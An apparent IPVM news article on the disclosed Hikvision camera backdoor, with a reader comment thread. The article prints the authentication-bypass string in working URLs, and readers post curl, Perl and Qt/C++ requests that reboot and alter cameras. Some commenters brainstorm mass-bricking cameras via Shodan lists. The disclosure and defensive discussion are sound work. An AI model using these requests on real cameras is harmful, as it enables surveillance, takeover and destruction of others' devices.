Full disclosure to the Hikvision backdoor has been released, allowing easy exploit of vulnerable Hikvision IP cameras.
As the researcher, Monte Crypto, who disclosed the details confirmed, this is:
a backdoor that allows unauthenticated impersonation of any configured user account... the vulnerability is trivial to exploit
Key points from IPVM's analysis and testing of the exploit:
Plus, IPVM has set up a vulnerable Hikvision IP camera so members can test and better understand the exploit.
Demonstration
We produced the following video, showing just how simple it is to utilize this exploit to retrieve an image snapshot and system information from a camera. We also show using password reset tool to take over a camera:
Inside this post, we examine how the exploit works, how it is being used, how what percentage of devices are vulnerable, and Hikvision's failure to respond to the exploit's release.
Magic String Backdoor
Hikvision included a magic string that allowed instant access to any camera, regardless of what the admin password was. All that needed was appending this string to Hikvision camera commands:
?auth=YWRtaW46MTEK
As the researcher explained in his disclosure:
Retrieve a list of all users and their roles:
http://camera.ip/Security/users?auth=YWRtaW46MTEK
Obtain a camera snapshot without authentication:
http://camera.ip/onvif-http/snapshot?auth=YWRtaW46MTEK
All other HikCGI calls can be impersonated in the same way, including those that add new users or flash camera
firmware. Because most Hikvision devices only protect firmware images by obfuscation, one can flash arbitrary code or
render hundreds of thousands of connected devices permanently unusable with just one simple http call.
And worst of all, one can download camera configuration:
http://camera.ip/System/configurationFile?auth=YWRtaW46MTEK
Any accessible Hikvision camera with affected firmware is vulnerable to complete takeover or bricking. Hikvision released a firmware fix in March 2017 though IPVM stats show 60%+ of Hikvision cameras are still vulnerable (detailed below).
DHS Worst Ranking - 10.0
DHS' ranking of this vulnerability as a 10/10 is even more understandable now that the simplicity of compromising these devices has been proven. This vulnerability is significantly more critical than other recent cyber security announcements in the security industry (e.g.: Dahua Suffers Second Major Vulnerability, ONVIF / gSOAP Vulnerability, Axis Camera Vulnerabilities From Google Researcher Analyzed), due to the ease of exploit, the number of impacted devices, and the fact that many impacted devices (e.g., 'grey market') cannot be upgradeable to patched firmware.
Hack Our Hikvision Camera
IPVM has put a vulnerable Hikvision camera online for members to experiment with. Access details are:
http://hikvisionbackdoor.dyndns.org [NOTE: will show login page with strong admin password]
However, using the backdoor string, that will not matter as you can simply bypass authentication, for example:
Get an unauthorized snapshot from the camera:
http://hikvisionbackdoor.dyndns.org/onvif-http/snapshot?auth=YWRtaW46MTEK
Get unauthorized device info: http://hikvisionbackdoor.dyndns.org/System/deviceInfo?auth=YWRtaW46MTEK [link no longer available] [Note: the header will say "This XML file does not appear to have any style information”, look at the device info details below that]
For more examples of Hikvision CGI commands, see the HikCGI Integration Guide, HikCGI Image Display. Post your examples and experiences in the comments.
Planted, Accident or Incompetence?
The researcher, Monte Crypto, who has called this a backdoor consistently, says Hikvision told him that:
it was a piece of debug code inadvertently left by one of developers
However, he counters that:
It is nearly impossible for a piece of code that obvious to not be noticed by development or QA teams, yet it has been present for 3+ years.
Vote / Poll
Password Reset Tool Built On This
A tool to reset user passwords (including the admin user) was released within days of the exploit announcement. Hikvision Password Reset Helper allows a user to enter an IP address for a camera, retrieve of a list of users, and selectively reset the password for any user. Examining the source code of this tool shows the "auth=YWRtaW46MTEK" string being utilized to change user passwords.
Tool Major Security Risk
This password tool can just as easily maliciously change and takeover other's cameras. Ironically, this is literally the next generation of the tool, following the previous version using Hikvision's cracked security codes.
300,000+ Estimated Hikvision Devices Publicly Vulnerable
IPVM estimates 300,000+ devices are publicly vulnerable, based on Shodan scan results and our validation testing of the vulnerabilities presence.
A Shodan scan for Hikvision cameras shows over half a million units online:
~62% of a sample of thousands of those devices tested by IPVM showed they were vulnerable. Using an example URL from the Full Disclosure announcement, image snapshots could be downloaded from affected cameras, several of which showed cameras overlooking sensitive areas, POS terminals, and other locations that could put people at risk of various data disclosure:
One camera had its name changed to "PUTIN" with the text "hacked by Russian hackers" also displayed on the image:
OEMs Vulnerable
This backdoor was also found in OEM cameras, we tested the following cameras and found them vulnerable:
Found Wbox camera - 0E-21BF40 -Worked on Firmware V5.3.0build 160329
Other Hikvision OEM cameras are likely vulnerable as well, potentially increasing the number of vulnerable cameras online significantly.
Hikvision Misleading Statement
Hikvision's only public communication on this, back in March 2017, significantly misled their dealers:
First, Hikvision called this a "privelege-escalating vulnerability", implying an attacker would need some minimal authorized access to the device before they could "escalate" their privileges to a higher role. This is false, as the exploit allows instant direct access to any affected camera.
Second, Hikvision claimed it was only applicable to "fairly uncommon circumstances", Shodan scans, and common sense, show that this affects vast numbers of devices, the only requirement being that the attacker has network access to the device.
Third, Hikvision claimed the exploit "may allow" attackers to "acquire or tamper with device information". Our tests, and other reports online, show this is 100% successful on affected devices and allows not just acquisition or "tampering" with device information, it allows full control of the device, user accounts, and other configuration data that can expose sensitive information, such as email addresses, and ftp server info.
During Hikvision's only communication to date, Hikvision declared:
To date [Mar 2017], Hikvision is not aware of any reports of malicious activity associated with this vulnerability.
Hikvision No Response
Since the September 12th exploit detail release, Hikvision has made no notice publicly nor to dealers about this, despite that the release included direct examples showing how to use the exploit simply, putting customers at significant risk. This continues a pattern of Hikvision failing to proactively and responsibility notify their customers of new material risks to their products.
Dear Hikvision Employees,
Now is the time to challenge Hikvision management to do better. Such a severe problem and such a poor response clearly shows major issues.
While it is easy to blame others, ask management:
Honestly not trying to take sides, honest questions:
#1) How is this report different than your previous report detailing the same exact thing? Or am I missing something?
#2) Did Hikvision patch the exploit with the latest firmwares?
#1) How is this report different than your previous report detailing the same exact thing? Or am I missing something?
In the previous report, the details of the vulnerability, and how to exploit it, were not known. In this report, the actual vulnerability has been disclosed, and it is extremely simple to execute. Any vulnerable camera connected to the internet can be easily viewed, and manipulated, often with something as simple as a copy/paste operation.
#2) Did Hikvision patch the exploit with the latest firmwares?
Hikvision's latest firmware is not vulnerable to this exploit. Given Hikvision's ongoing cyber security issues, it would be reasonable to assume the latest firmware has other yet-to-be-discovered vulnerabilities in it. Additionally, the fact that there are hundreds of thousands of vulnerable cameras online today shows that simply releasing firmware does not fully solve the problem, you need to make sure every device is patched.
How does hikvision (and all other manufactures for that matter) update all cameras when a security flaw is foundx? When cloud and auto updates have been suggested there's a lot of push back saying it's a bad idea.
Let's not forget that a lot of the hikvision gray market cameras have been loaded with modified firmware outside of Hikvision's control. How do they update those and are they responsible for those?
Simple answer: they don't. Reputable manufacturers may have tools (that actually work) to mass-update a range of cameras, but these aren't helpful in environments where you may have dozens of different models purchased in the span of many years. It's laborious to do manually when you have a lot of cameras, so updates are ignored even if they were available for your hardware. If the cameras can access the Internet to download updates... well, I hope they don't.
Reminds me of some ancient ACTi tool that was implemented in Visual Basic or something, it was the only way to update the cameras and it just crashed when you tried to use it. No luck for those cameras.
Cloud updates that would actually work would be a great idea to solve this problem now that you mention it. for example, when someone logs into their DVR or IP camera they get a notice saying "critical update needed"
We can run mass updates with DMP. Recently we had an issue with WiFi not reconnecting if the WiFi router lost power with a specific firmware version. DMP already had cloud updates in place. So they release a new one click update all. Very nice to have. I don’t understand why the camera manufacturers can’t get this same idea to work.
I work in an environment where we actually have over 250+ HikVision cameras, out of a total of over 1,700 cameras on our network.
We routinely (every 6 months) check for new firmware for all our cameras, for our access control systems, in fact - for everything we have on the IP network.
Of course, we also monitor sites such as this for news on new vulnerabilities and then we contact the manufacturer for an immediate patch (if they have one), or to demand they develop one (if they don't).
Of course - we also mitigate this type of issue by segregating our entire security network on it's own VLAN, using private internal subnets, behind a VPN and we NEVER EVER leave 'default codes' in our equipment.
This is disappointing. I have to say, props to the people who built this tool. It works.
It's amazing to me that Hikvision hasn't gotten it together yet. They need to stop releasing new cameras and start working on their security.
Where does IPVM get its information on what dealings that dealers have or for that matter do not have with Hikvision corporate? I dont report what I am told by Hikvision corporate to any third-party and I would bet that someone with a grievance is the only one accusing them of malfeasance of duty.
#2, be fair, don't try to change the subject. We both know Hikvision has sent no 'special bulletin' or other dealer announcement on this disclosure (though I would suspect one is coming now that we published).
And you know we have many sources inside and outside of many companies.
Now, let me ask you, does this magic string backdoor concern you? Why?
It does not concern me even a little bit. We build responsible networks and hang cameras BEHIND those networks like 99.9% of real integrators do. This is another example of a headline grabbing, misleading tid-bit that really goes no where, sorry but that is my take on the ongoing 'battle' that IPVM is having with the limited subscription base that have grievances with Hikvision.
#2, you are a loyal partner.
Btw, do you plan to disclose this magic string detail to your customers? Do you think they have a right to know about this magic string backdoor?
Silence........ :)
That's the reality. All the Hikvision people are publicly silent today. And I am confident that most will be silent with their customers, even though customers deserve to know about a risk this severe.
My true thoughts are they (and all manufacturer's) need to be better at this. I mean if Equifax can get hacked - and their job is to protect your data - anyone can get hacked. It is time all companies take this more seriously than they have in the past. If I had a child starting college - this is the field I would encourage them to enter asap!
That said - his/her silence to your very direct question is telling
Perhaps you could allow us to disseminate this article to our clients?
No. The non-promotional rules still apply. We offer members (with availability) to invite anyone for a free month of IPVM.
Perhaps you could allow us to disseminate this article to our clients?
Though a copy and paste based dissemination is not allowed, as John points out, you can also use the "e-mail this" button at the top of the report:
If the recipient is a member then they see the full report, if not they at least get a tease of it, (shown above).
Works well as a 1-2 punch with the invite program.
Even Hikivision is from CHINA, and I am from Hong Kong and part of my mainland China. But this is that fact that You make security system, and that first thing is Security. But people in Hong Kong always say, they put the back door for purpose.
That's why I can easily to take down the current user that are using Hikivision system change to Hanwah SAMSUNG before.
So this hack wouldn't work from someone attempting the hack from within a LAN?
Insider threats to security infrastructure is a real concern.
Clearly not to Hik and all it's followers. They are still more interested in harvesting while they can, until that day the big bubble bursts.
Yes, it will most definitely work from within the LAN.
If your cameras are on a separate, firewalled or non-routed VLAN or physical LAN, you're safe. Larger sites tend to install this way.
If your cameras are visible or routable within your LAN, ie you can ping them, then any LAN user, intruder or internal malware bot can use this exploit. Smaller sites tend to install this way.
Given the ease of exploit, everyone should be moving their cameras into firewalled vlan's. This can be done with most layer-3 capable switches, and/or a free firewall like OPNSense or vyos.
Note, given that this backdoor was deliberate, ie malicious, you should firewall block outbound traffic from the cameras as well. This will block any "phone home" features.
Undisclosed #2, your base rate fallacy game is on point. Pro tip, that's not a good thing.
And 99.9% of "real" integrators know that the most common threats come from within.
I don't understand why people will reply in undisclosed identity. But you seems like you are working in Hikivison.
From my perspective, it is due to:
1- Fear to powers in the world.
2- Similar to 1, but clearly not the same: Respect to another instance paying one's subscription, but with a official public relations team to whom "one" is not part of.
3- Make use of an individual right to choice.
There can be many others, but I think it is fair and normal to have and use this option. We are just people with an opinion*, trying to make things work.
*And thanks to every one sharing it, but specially to the ones testing and validating the information.
It does not concern me even a little bit. We build responsible networks and hang cameras BEHIND those networks like 99.9% of real integrators do.
Wow...Where does he/she get that percentage from? The numbers from Shodan show a seriously different tale. Please...if you are going to bark, have a factual "bite" behind it.
*Drops mic*
In software development bugs happen, that's clear.
But if you add a "backdoor" like this, you have to make sure that your automated blackbox-testing-system is making sure that this backdoor does not reach the customers. It's absolutely ok to have this options to speed up development, but you have to make sure (automated tests work great for this) that your testing code never get's out of your office.
I think that Hikvision has some big workflow/process issues here. Maybe the developers are not aware what they are doing when they add this kind of backdoors.
BUT...IF this is a workaroung of a developer, why didn't he use something easy to remember like "test", "admin", "password", "superuser"? The string looks like if someone wanted to make it complicated, using a quite long random string....
I personally think that this code was intended for deployment, because the string is too complicated to be for testing purposes only. Of course, I have no proof for this, it's just my personal optinion and my experience as software developer that tells me that something is strange here. I would never choose such a complicated string if I plan to make my testing/development more easy (temporarily of course).
just my 2 cents
BUT...IF this is a workaroung of a developer, why didn't he use something easy to remember like "test", "admin", "password", "superuser"? The string looks like if someone wanted to make it complicated, using a quite long random string....
The YWRtaW46MTEK string is "admin:11" encoded in base64.
This is a common approach to handling username/password combos with reversible encryption.
You can test this by pasting that string into a base64 encoder/decoder, such as this one.
Thank you Brian, I missed to check that.
So i tend to believe the story about the testcode :-)
If they use this authorization string as the basis for their password reset tool, how can they claim the magic string is just leftover from testing/development?
The password reset tool is not Hikvision's, it is an independent developers work, built on top of this exploit.
UPDATE - Test Cam Online
We put one of our Hikvision lab cameras online if anyone wants to test against it.
The camera is accessible at:
http://hikvisionbackdoor.ddns.net
Example URLs:
Get a snapshot from the camera: http://hikvisionbackdoor.ddns.net/onvif-http/snapshot?auth=YWRtaW46MTEK
Get device info: http://hikvisionbackdoor.ddns.net/System/deviceInfo?auth=YWRtaW46MTEK[Note: the header will say "This XML file does not appear to have any style information”, look at the device info details below that]
Current image:
Note, while we expect this will end up getting bricked, the goal of this was to allow people to try out some examples, and see how easy this exploit is to demonstrate. Please try to refrain from testing anything that would disable it.
Some of the HikCGI commands require you to do an HTTP PUT, and send an XML file. There are several ways to do that, but here is one simple example using curl from a command line:
1) Make a file called "ImageFlip" and put the following text in it:
<?xml version="1.0" encoding="UTF-8"?> <ImageFlip version="1.0" xmlns="http://www.std-cgi.com/ver10/XMLSchema"><enabled>true</enabled> <ImageFlipStyle>CENTER</ImageFlipStyle> </ImageFlip>
2) Use curl to PUT the file, along with the HikCGI URL to call the Imageflip function:
curl -T ImageFlip http://hikvisionbackdoor.ddns.net/Image/channels/1/ImageFlip?auth=YWRtaW46MTEK
Curl should be installed on OS X and linux systems by default, and can be downloaded as well here.
So, I take that this only works for cameras and not DVR's/NVR's, correct?
I tried the tool on a lan connected DVR and got no success.
While I agree this is horrible that Hikvision had this issue, I think it's horrible reporting that the fact that this only affects cameras and not NVRs and that Hikvision already offers a patch is not more clearly stated in the article.
Literally the first line of the report:
Full disclosure to the Hikvision backdoor has been released, allowing easy exploit of vulnerable Hikvision IP cameras.
And then in the first section inside of the report:
Any accessible Hikvision camera with affected firmware is vulnerable to complete takeover or bricking. Hikvision released a firmware fix in March 2017 though IPVM stats show 60%+ of Hikvision cameras are still vulnerable (detailed below).
Perhaps this explains the rash of incidents on both sides:
Should Manufacturers Sponsor Penetration Testing Of Competitor's Products?
This is informative and I like the globe in the image. My biggest question is why would anyone have their cameras publicly accessible via a public IP or a port forward directly to the camera? Like in the PUTIN camera network room, why would this camera be directly facing the WAN? I understand the importance of security, but I don't trust ANY camera or really any small IoT device to be directly accessed on the WAN. I understand if there is an exploit on DVRs or NVRs because those are more often configured to be publicly accessible.
I think at this point, every manufacturer needs to make sure a significant part of their budget needs to be allocated to third party security testing of products if they aren't doing so already. I believe there are probably exploits in other products but hackers tend to attack devices with large market share.
I believe there are probably exploits in other products but hackers tend to attack devices with large market share.
While I tend to agree with this overall, it is worth pointing out that the majority of the cyber security vulnerabilities Hikvision has suffered from have been very simplistic in nature.
The vulnerability here, for example, is more the kind of thing you would expect from an early stage, underfunded company that did not have the resources to properly address cyber security.
Hikvision is severely lacking when it comes to cyber security. They make statements about cyber security commitments, and try to downplay their recurring exploits, but with their size and resources, there is no excuse for things like hard-coded authentication bypass mechanisms in shipping products.
I completely agree. Dahua has the same issues. They had patched the Onvif exploit but then when they patched the other major exploit, the Onvif exploit resurfaced and I still has not been fixed or at least if Onvif authentication is turned on, the camera no longer works in DW Spectrum.
The problem with Hikvision is that they think a marketing strategy will fix their issues. However, lip service only goes so far.
In professional audio there aren't really network hacks that are of major concern. The major concern is improper design and engineering due to lack of analog circuits training. It's taken years from a select few to teach audio manufacturers how to properly ground their devices to avoid noisy circuits. Most pro audio companies have great marketing departments but they don't write complete specs and when you ask about specs, they often don't know. The integrator always needs to hope and pray that when the system is finished, that it's a quiet system. If not, then the integrator must waste time troubleshooting to make systems quiet.
I think the only reason this has all been comical and sad is that these hacks are on devices that are supposed to be used for security or are related to the security industry and end up becoming everything but secure.
I don't know if Dahua has a "magic string" backdoor though. This is a bit more extreme.
Most people who port forward the cameras tend to do so because it allows them remote access to the camera after the fact. (IE - Change settings on the camera)
I can tell you from experience putting this camera on the internet that probably a lot of people don't even realize their cameras are on the internet.
I defaulted my router to clear out old port forwards to other things, plugged the camera in, and was done. I went to port forward it and it was already forwarded because UPnP (unfortunately for me) defaults to on on my router.
I suspect it's the same for many of these unfortunate folks, and their installers/integrators, if they exist, don't know any better. That's why these are truly dangerous security flaws and mostly will not end up updated with good firmware.
I just beautified the OSD/Overlay :-)
http://hikvisionbackdoor.ddns.net/onvif-http/snapshot?auth=YWRtaW46MTEK
Brian K. can I test a boot-loop scrip real quick?
As long as it will not get it stuck in a loop or make it inaccessible. If you think it will, email it to me and I can run it on a different camera.
Everything back to normal? It looks like the Web-GUI is back and no harm done.
I'll just post the Curl Command. This is pretty much just using HikVision's API like UM3 said. My code won't work for most because I have a werid IDE.
curl -X PUT http://98.115.30.225/System/reboot/?auth=YWRtaW46MTEK
curl -X PUT http://98.115.30.225/System/reboot/?auth=YWRtaW46MTEK
I tried to reset the text set on the snapshot with
curl -T zzfile hikvisionbackdoor.ddns.net
where the text file zzfile contains the modified XML strings
and got the following result:
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 678 0 0 0 0 0 0 --:--:-- 0:00:02 --:--:-- 0<!DOCTYPE html>
<html><head><title>Document Error: Method Not Allowed</title></head>
<body><h2>Access Error: 405 -- Method Not Allowed</h2>
<p>Method PUT not supported by file handler at this location </p>
</body>
</html>
100 906 100 228 100 678 101 303 0:00:02 0:00:02 --:--:-- 624
I then tried a POST command with
curl --request POST -d @zzfile hikvisionbackdoor.ddns.net
and got the following result:
���<!doctype html>
<html>
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" >
<meta http-equiv="Pragma" content="no-cache" />
<meta http-equiv="Cache-Control" content="no-cache, must-revalidate" />
<meta http-equiv="Expires" content="0" />
</head>
<body>
</body>
<script>
window.location.href = "/doc/page/login.asp?_" + (new Date()).getTime();
</script>
So, I don't have things figured out yet ...
For text overlay, this perl subroutine should get you sorted out. For reference, the sub is called by passing the text you want to overlay, an X and Y pos for the text, and the ID for the text (1..4 , sometimes 1..8, depending on camera model):
sub TextOverlay {
my ($Overlay, $Xpos, $Ypos, $ID) =@_;
print "Putting text $Overlay on screen...\n";$overlayText='<?xml version="1.0" encoding="UTF-8"?>
<TextOverlay version="1.0" xmlns="http://www.hikvision.com/ver10/XMLSchema">
<id>'.$ID.'</id>
<enabled>true</enabled>
<posX>'.$Xpos.'</posX>
<posY>'.$Ypos.'</posY>
<message>'.$Overlay.'</message>
</TextOverlay>';
my $response = $ua->request(PUT 'http://'.$DeviceIP.'/Video/inputs/channels/1/overlays/text/'.$ID.'?auth=YWRtaW46MTEK',
Content_Type => 'text/xml',
Content => $overlayText);
}
This will delete all overlays (there is an alternate method to delete individual overlays by ID as well):
sub DeleteText {
print "Removing overlay text\n";
my $response = $ua->delete('http://'.$DeviceIP.'/Video/inputs/channels/1/overlays/text/1??auth=YWRtaW46MTEK');
}
Sorry for the wonky formatting, hope it helps.
The Qt/C++ code is quite easy too.
Download and install Qt OpenSource version for your OS (www.qt.io).
Create a new Project and add "QT += network" to your .pro file.
Create an instance of QNetworkAccessManager ("m_pManager" in my example) and connect the "finished" signal for result processing if needed.
.h preparation
private:
QNetworkAccessManager* m_pManager;
.cpp preparation
this->m_pManager = new QNetworkAccessManager(this);
connect(this->m_pManager, SIGNAL(finished(QNetworkReply*)), this, SLOT(replyFinished(QNetworkReply*)));
Then e.g. add some buttons to your UI and send the requests...
GET (Snapshot)
QNetworkRequest request;
request.setUrl(QUrl("http://hikvisionbackdoor.ddns.net/onvif-http/snapshot?auth=YWRtaW46MTEK"));
this->m_pManager->get(request);
PUT (Set Overlay 1)
QNetworkRequest request; request.setUrl(QUrl("http://hikvisionbackdoor.ddns.net/Video/inputs/channels/1/overlays/text/1?auth=YWRtaW46MTEK")); request.setHeader(QNetworkRequest::ContentTypeHeader, "text/xml");
QByteArray bArr = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><TextOverlay version=\"1.0\" xmlns=\"http://www.hikvision.com/ver10/XMLSchema\"><id>1</id><enabled>true</enabled><posX>40</posX><posY>250</posY><message>Thanks IPVM for this nice demo unit!</message></TextOverlay>";
this->m_pManager->put(request,bArr);
You can use the "replyFinished"-Slot to parse/display results (e.g. save snapshots into files or view server xml responses).
Of course, using a shell is more easy as you showed above, but I like C++ more :-)
Of course, using a shell is more easy as you showed above, but I like C++ more :-)
I never learned C or C++. Maybe something I should have done, but I had more pressing things to do. The few times I have had to hack a C program, I was able to figure out what to do just enough to get my job done.
It was quite easy to get the GET and PUT requests working in Qt/C++, now I should be able to make a nice remote configuration tool...
If someome combines this code (or #8's reboot request) with IP-Lists of Shodan or similar databases, It would be easy to modify (or disable) many thousands of cameras worldwide. Many customers would return their cameras because they are "broken" or stuck in reboot loops.
This could cause big financial consequences for Hikvision if many thousand customers send back their cameras or call Hikvision support simultaneously.
Think about the attention to IT-Security this would create :)
If someome combines this code (or #8's reboot request) with IP-Lists of Shodan or similar databases, It would be easy to modify (or disable) many thousands of cameras worldwide.
Agreed. I wrote a quick script to run through a shodan export and test the image-grab URL. Somebody with evil intentions could easily disable a boatload of Hikvision cameras, which would either cause a rash of support calls, a rash of new/replacement sales, or maybe both?
This could cause big financial consequences for Hikvision if many thousand customers send back their cameras or call Hikvision support simultaneously.
That raises the question - how many of these cameras are grey market / without warranty? I don't have the answer but there's certainly many out there under that category.
The serial number seems to contain the manufacturing date. So it would be possible to target only cameras that are in- or out of warranty if someone plans to harm Hikvision or benefit from the exploit. Of course this does not work for grey market devices.
If Hikvision would use this script to kill cameras that are out of warranty, this would be a nice tool to boost sales with replacement units.
Installers could use this tool to disable Hikvision cameras in their region (by Geo Ip) to trigger service sales.
Maybe this exploit is a hidden sales tool? :)
I think people should not be using this forum to brainstorm ways to hurt, hack or otherwise cause inconvenience to Hikvision and their customers. In the end the people who have these cameras installed are just normal people who rely on the cameras to keep their property secure, watch their children or for other safety reasons. If someone uses the advice found here it could cause a huge inconvenience and possible financial harm to thousands of unsuspecting end users who are completely innocent
The information on this page could easily give anyone the tools they need to cause huge problems for Hikvision. I think all the talk about how to create automated scripts to cause mass destruction to Hikvision should be deleted. Additionally other methods of causing harm such as teaching people how to cause a camera to enter a reboot loop should be deleted.
Overall i believe IPVM is here to educate people about the problems in the CCTV industry but not here as a forum where people can learn how to hack and cause harm.
I do not work for or use Hikvision and have zero loyalty to them, i just think what is happening here is wrong and could really be harmful to many people.
I think all the talk about how to create automated scripts to cause mass destruction to Hikvision should be deleted
It will not matter one bit if they are deleted. Anyone competent and creative can come up with such exploits before a single thread is posted online about it, and often it's also their job to design security and make sure their environment is safe from such hacks.
A quote from an essay by Bruce Schneier (https://www.schneier.com/essays/archives/2007/01/schneier_full_disclo.html):
"Secrecy prevents people from accurately assessing their own risk. Secrecy precludes public debate about security, and inhibits security education that leads to improvements. Secrecy doesn't improve security; it stifles it."
In my opinion IT-Security is an issue that is discussed too less in our industry. For so many years, nobody really cared about. Such products are a security risk for everyone.
These children you talk about might be observed by bad guys!
These homes/property that you talk about might be checked by bad guys if someone is at home!
This way the so trusted "security" products cause a big additional risk to all users of the products. WITH these products, the risk is bigger than without the products installed.
I understand your point, but I believe it's much better for the whole industry to increase the awareness of IT-Security to reach a point where we all sell secure products.
If you buy a big brand that tells everyone to have 10K developers, you - as a user - thrust that so many developers will produce perfect products. The ongoning exploits of big brands proof that this is not the truth. The amount of developers is just an indication of the chaos that these developers can cause if they work in weak processes.
I know that this ongoing discussion might hurt some individuals financially, but I believe that nothing will change if we do not try to inform the guys from our industry and even the end-customers.
There are many ways how to prevent such issues. There are very good VPN products out there. There are cameras that have VPN clients/servers built-in, this enables you to establish secure connections to the products, no matter what device you're using to access the cameras. Our industry needs to start to value IT-Security, this works best if non secure products cause a financial risk.
just my 2 cents
#9, thanks for the feedback and I appreciate the concern.
First, IPVM is against damaging anyone's equipment. That is why we are effectively sacrificing our own camera(s) for the demo.
However, in terms of talk of destruction, that's literally in the public disclosure from Monte Crypto. Here is the key excerpt:
Because most Hikvision devices only protect firmware images by obfuscation, one can flash arbitrary code or render hundreds of thousands of connected devices permanently unusable with just one simple http call.
So any 'destruction' is fairly obvious given how bad the Hikvision backdoor is.
In terms of educating, the problem is so many people in this industry ignore cybersecurity completely. The whole 'any device could have an issue so buy cheap!'
Our goal of this live demo is to show people this works and why they should care about cybersecurity.
The commands to reboot the camera or whatever is from their API. Many manufacturers want to keep their API close to their chest or require an NDA. But the apis are out there for integration.
If we don't post it, people will find it via other means. Some manufacturers publicly post their api.
Regarding port forwarding for a dozen years, it was SOP to port forward a camera for remote viewing, maintenance, etc. End of story. The end user may not use it that way anymore, but often did. Or they use an app to view the camera and it just works.
The security needs to be in the device.
Anyone who says that thru can secure their network with firewalls only or by not connecting it to the internet is missing g a key step in security by design and defense in depth principles.
Was the centerfuge in iran port forwarded or connected to the internet? Even air gapped systems need good cyber security.
Was the centerfuge in iran port forwarded or connected to the internet? Even air gapped systems need good cyber security.
This is an excellent example of why you cannot make an insecure device secure simply by network architecture alone. You can minimize the risk, but not eliminate it.
Nice follow-up to your 'conversation' with the HikVision rep the other day...
I just wanted to comment on the security part.
Having the cameras on your LAN and not published to the Internet does not
mean hackers won't get in. If we consider the product itself, it is something
being bought by very cost conscious people. These tend to be small stores and
quick serve restaurants. Most of these locations offer free wifi to their customers.
Unfortunately, majority of these people just have one router (LAN/Wifi combined)
which serves POS system, Cameras and Customers Wifi. Hopefully they have
changed the default password on the router. Now it is extremmly easy for a hacker
to sit there, use the wifi network and monitor the cameras overlooking cash transactions.
I could take it further by pointing out that it's very easy to creating a small recording
device using a Raspberry Pi, hook it up to the wireless and have it record the closing
procedure of the business. Now the hacker has sufficient information to rob the place.
Moreover, I have seen many places where the camera actually records the code to get
into the safe where to money is stored overnight.
Please, do not take exploits for granted!!!
There is always a way in, it's just a matter of how difficult you make it for the hackers.
Real hackers will get in, giving sufficient time, effort, motive (and social engineering). But this exploit, all script kiddies on the block, without real knowledge, will have a field day.
Why are you reporting on something that you already reported on? This exploit has been patched. Common sense tells me people should be upgrading the firmware that fixes this.
Lets move on and show me an exploit in the patched firmware.
The previous coverage covered the fact that there was a vulnerability, but the details had not been publicly disclosed. While this created a degree of risk for Hikvision users, there was at least the benefit that specifics were not publicly known.
Now, the researcher behind the exploit has released full details, which has significantly increased the risk to Hikvision camera owners. This is why we released the new report (and why Hikvision should have proactively notified customers).
Yes, new firmware has patched this exploit, however our tests show hundreds of thousands of cameras with direct accessibility are still vulnerable. Several million likely need to still be updated, as they are vulnerable to inside attacks if not directly connected to the internet.
Lets move on and show me an exploit in the patched firmware.
Given Hikvision's track record of vulnerabilities and exploits, it may be only a matter of time before this is done. I hope you do not think that the current firmware is finally the one that has removed all exploits, backdoors, and other bugs that compromise the security of Hikvision devices, as that would be very unlikely.
So it's hikvisions responsibility to make sure customers are upgrading their firmware? If you ask me, patching a firmware is a good track record.
No, it is their responsibility to make sure their firmware does not have easily exploitable backdoors in the first place.
Patching firmware is a good track record if you are fixing obscure bugs, edge-case scenarios, and enhancing functionality. Patching firmware to close giant backdoors is like saying a bank robber has a good track record of returning money on the occasions he is caught.
Another reason that this is important is that people are making "password recovery utilities" and posting them on the Internet. Thus, this exploit is out there and known. It is important for a Hik dealer and end user to know about this and protect against it. Previously, it was a vulnerability in theory, but few could exploit it, and you had to take Hik's word on it as to what it was, how bad it was, etc.
Now there is proof that it isn't just a "privilege escalation" as they tried to spin it, or effecting certain pages, etc. It is a huge hole.
Of course Hik isn't/can't update the firmware on installed cameras, but they could halt shipments, and force Disty to update firmware. They can notify their users, and not stand behind their cyber partners (white hat/pen testers & Cisco), who have clearly either failed (payed off) or been lip service.
This is such a basic exploit. No difficult modification of code or cookies, etc. This is even worse then the Sony backdoor password issue from last year.
Really this should just shut down the back and forth that there is/is no backdoor, etc. Any company with more than a few programmers and who are not fresh out of school would never leave this in. There are so many other programming ways to test code. If they cared about security, they would have taken care of this on their own and tucked it away as a "security enhancement" and if it ever came out in old firmware just brush it off as a programming relic that was taken care of.
Instead, researcher have to find this on their own and present it to them threatening to expose it to force them to fix it.
As for the grey market stuff, it is still their responsibility. Even if the products are designed for the Chinese market, it needs to be fixed. It is still a camera manufactured by them, or using their firmware. End of story.
Regarding not being able to force firmware upgrades they could adopt the Apple/Android/Windows update model and push updates to exposed devices. However it didn't work so well a couple of years back with both theirs and other Chinese developers mobile app update bundling malware accidentally. It even snuck past Apples QA.
Did anybody check if OEM's firmwares are affected too? If this applies, this might greatly increase the amount of vulnerable devices found using Shodan. Did you already consider OEM brands in the amounts mentioned above?
Yes, just added a section addressing vulnerability of OEM cameras:
OEMs Vulnerable
This backdoor was also found in OEM cameras, we tested the following cameras and found them vulnerable:
Found Wbox camera - 0E-21BF40 -Worked on Firmware V5.3.0build 160329
Other Hikvision OEM cameras are likely vulnerable as well, potentially increasing the number of vulnerable cameras online significantly.
Thanks Brian, it would be very interesting if you could update the numbers of vulnerable cameras found on Shodan including OEMs to see the full potential/danger of this exploit. But I would understand if this is too much work ☺️
I've just ordered one of these for my home. What risks are there to me?
In business these are all behind firewalls etc. but at my house, what more could a criminal do besides lock me out of my camera or spy on my driveway?
Will the camera be on the same LAN as any devices like PCs that contain stored passwords, credit cards, tax return info, social security numbers, etc.?
Presuming those are new cameras with new firmware, the risk of this specific vulnerability is none.
What Hikvision vulnerabilities still exist that eventually will be discovered and exploited is impossible to guess. It comes down to trust in the supplier.
It just showed up. Date stamp on box is 05/2017 SV:V5.4.5_170124
Edit----- After having read the article and clicked the link, this camera should be fine.
Updating the camera to the latest firmware (supposing it's fixed for the model) is the first step, but you should probably at least check that your router doesn't have UPnP enabled before you connect the camera. That should prevent at least one method of its exposure by accident, even if the feature and related options were turned off from the camera by default. If you need remote access to the camera, use a VPN for example.
Regarding criminals, it's quite situational. Robbers who get access to the camera somehow probably just need to know when you're not home, but if the device is in your local network with all the other gear, it might be worse. If by some means the camera becomes accessible to the internet, it's only a matter of time before someone enters your home LAN through it, perhaps just to prank you or spy on your personal life just for kicks if not profit.
